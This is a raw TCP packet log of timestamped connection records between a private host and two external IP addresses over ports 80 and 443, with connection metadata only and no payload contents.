Nov 23, 2024 01:14:32.216849089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.216867924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.216975927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.217745066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.217804909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.217812061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.217895985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.218703985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.218764067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.218801022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.218971968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.219666004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.219727039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.219762087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.219847918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.220642090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.220693111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.220733881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.220777988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.221610069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.221668005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.221734047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.221777916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.222584009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.222640038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.222714901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.222835064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.223551035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.223608971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.223638058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.223735094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.224508047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.224567890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.224610090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.224669933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.225480080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.225533962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.225609064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.225647926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.226433039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.226478100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.226609945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.226742029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.227443933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.227502108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.227533102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.227572918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.228389025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.228499889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.228558064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.229373932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.229456902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.229506016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.230360985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.230424881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.230431080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.230467081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.231278896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.231336117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.231379032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.231502056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.232242107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.232301950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.232342958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.232425928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.233208895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.233324051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.233376980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.234204054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.234268904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.234317064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.234730005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.235160112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.235219955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.235261917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.235574007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.236133099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.236221075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.236325026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.236422062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.237103939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.237157106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.237199068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.237320900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.238089085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.238146067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.238181114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.238224983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.239038944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.239079952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.239094973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.239140034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.240011930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.240087986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.240117073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.240170002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.240928888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.241029978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.330406904 CET	443	49837	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.331286907 CET	49837	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.331296921 CET	443	49837	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.331916094 CET	49837	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.331923008 CET	443	49837	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.350554943 CET	443	49832	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.350996017 CET	49832	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.351011992 CET	443	49832	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.351412058 CET	49832	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.351417065 CET	443	49832	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.369990110 CET	443	49836	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.371495962 CET	49836	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.371520042 CET	443	49836	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.372091055 CET	49836	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.372097015 CET	443	49836	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.391438961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.391506910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.391552925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.391601086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.391931057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.391969919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.391978025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.392015934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.392869949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.392988920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.392992020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.393028975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.393908024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.393963099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.394068956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.394118071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.394809961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.394877911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.394918919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.394987106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.395766020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.395817995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.395869017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.395965099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.396750927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.396800995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.396857023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.397001028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.397732973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.397789001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.397829056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.397927046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.398715019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.398777962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.398809910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.398909092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.399657965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.399741888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.399764061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.399801970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.400620937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.400669098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.400710106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.400774002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.401582003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.401635885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.401686907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.401732922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.402549028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.402693987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.402755022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.403546095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.403604984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.403628111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.403667927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.404494047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.404540062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.404589891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.404628038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.405456066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.405560017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.405610085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.406429052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.406478882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.406521082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.406563997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.407401085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.407448053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.407495022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.407533884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.408380032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.408431053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.408487082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.409228086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.409318924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.409367085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.409435987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.409475088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.410329103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.410370111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.410413027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.410573959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.411279917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.411403894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.411448956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.412246943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.412297964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.412338972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.412378073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.413209915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.413258076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.413304090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.413420916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.414194107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.414237976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.414278030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.414314032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.415158033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.415206909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.415273905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.415411949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.416122913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.416174889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.416213989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.416380882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.417110920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.417160988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.417244911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.417292118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.418106079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.418153048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.418193102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.418231010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.419023991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.419074059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.419137001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.419322968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.420001984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.420078039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.420142889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.420298100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.420970917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.421019077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.421060085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.421149015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.421926975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.421967983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.422038078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.422081947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.422909975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.422954082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.423021078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.423086882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.423882008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.423943996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.424031973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.424083948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.424865961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.424989939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.424983978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.425024033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.425869942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.425913095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.426009893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.426054001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.426791906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.426841021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.426883936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.426992893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.427742958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.427789927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.427849054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.427891016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.428733110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.428801060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.428833961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.428891897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.429704905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.429754019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.429795027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.429838896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.430656910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.430705070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.430749893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.430790901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.431615114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.431663036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.431734085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.431799889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.432600975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.432641983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.432702065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.432743073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.433574915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.433623075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.433646917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.433687925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.434540987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.434587955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.434628010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.434669018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.435497999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.435594082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.435641050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.435673952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.436470032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.436521053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.436566114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.436609030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.437448978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.437508106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.437549114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.437587976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.438406944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.438457012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.438498020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.438532114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.439369917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.439419985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.439485073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.439543962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.440355062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.440398932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.440464020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.440619946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.441308022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.441359043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.441400051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.441545010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.442219019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.442269087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.470524073 CET	443	49838	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.471215010 CET	49838	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.471225977 CET	443	49838	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.471936941 CET	49838	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.471942902 CET	443	49838	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.534502983 CET	443	49839	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.560429096 CET	49839	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.560429096 CET	49839	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:32.560456991 CET	443	49839	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.560487986 CET	443	49839	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:32.592894077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.592959881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.593096972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.593223095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:32.593393087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:32.593437910 CET	49760	80	192.168.2.5	185.215.113.206
